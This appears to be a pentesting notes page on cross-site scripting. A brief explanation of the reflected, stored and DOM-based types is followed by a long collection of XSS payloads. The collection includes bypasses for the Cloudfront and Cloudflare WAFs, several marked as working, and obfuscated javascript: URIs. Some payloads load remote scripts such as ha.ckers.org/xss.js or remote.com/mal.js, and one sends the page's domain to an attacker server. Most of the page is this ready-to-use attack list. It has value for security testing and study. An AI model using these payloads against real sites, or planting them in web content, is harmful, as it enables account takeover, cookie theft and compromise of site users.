XSS

Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim"s browser, the attacker can fully compromise their interaction with the application.

Types of XSS attacks

Reflected XSS
Stored XSS
DOM-based XSS

Reflected

This happens when the site receives data in a HTTP request and uses said data in the response in an unsafe way.

Overview

Check if values that you control are being reflected in any HTML or JS code on the site.
Find the context where the value is reflected.

Example

https://remote.com?msg=helloworld

<h1>helloworld<h1/>

It can be seen that the value is being reflected in the response.

An attack would look like this

https://remote.com?msg=<script>alert("Hello")</script>

(A pop-up window would appear saying "Hello")

Stored

In this types of XSS, the site receives unsafe data from a user and stores it.

This data can and most likely will be included in HTTP responses later.

Example

Imagine a comment section. Any user can comment and HTML tags are allowed to be included in the comment.

There, a bad actor could include any JS code that will be executed anytime the page is requested.

COMMENT HERE:   <script src="http://remote.com/mal.js"></script>

From here on out, whenever the page is accessed, the script will be loaded.

DOM-based

XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

https://owasp.org/www-community/attacks/DOM_Based_XSS

Example

let search = document.getElementById("search").value;
let results = document.getElementById("results");
results.innerHTML = "Result: " + search;

If the attacker controls the value of the input, they can add any malicious script they want.

Result: "malicious script here"

List of XSS filter bypasses

Cloudfront

">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>
">'><details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;

Cloudflare

<a"/onclick=(confirm)()>Click Here!
Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
<--%253cimg%20onerror=alert(1)%20src=a%253e --!>
<a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'>
javascript:{ alert`0` }
1'"><img/src/onerror=.1|alert``>
<img src=x onError=import('//1152848220/')>
%2sscript%2ualert()%2s/script%2u
<svg on onload=(alert)(document.domain)>
<img ignored=() src=x onerror=prompt(1)>
<svg onx=() onload=(confirm)(1)>
“><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
<svg on =i onload=alert(domain) (working)
<svg/onload=location/**/='https://your.server/'+document.domain>
<svg onx=() onload=window.alert?.()> (working)
test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic
"onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic
"><svg%20onload=alert%26%230000000040"1")> (working)- @IamRenganathan
%27%09);%0d%0a%09%09[1].find(alert)//
"><img src=1 onmouseleave=print()> - @itsgeekymonk
<svg on onload=(alert)(document.domain)> -@zapstiko
<svg/on%20onload=alert(1)> (working) -@aufzayed
<img/src=x onError="`${x}`;alert(`Ex.Mi`);"> -@ex_m

Misc

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=alert(/XSS/)//
#"><img src=M onerror=alert('XSS');>
element[attribute='<img src=x onerror=alert('XSS');>
[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ]
%22;alert%28%27RVRSH3LL_XSS%29//
javascript:alert%281%29;
<w contenteditable id=x onfocus=alert()>
alert;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337)>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>
<sCR<script>iPt>alert(1)</SCr</script>IPt>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>

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Last updated 3 months ago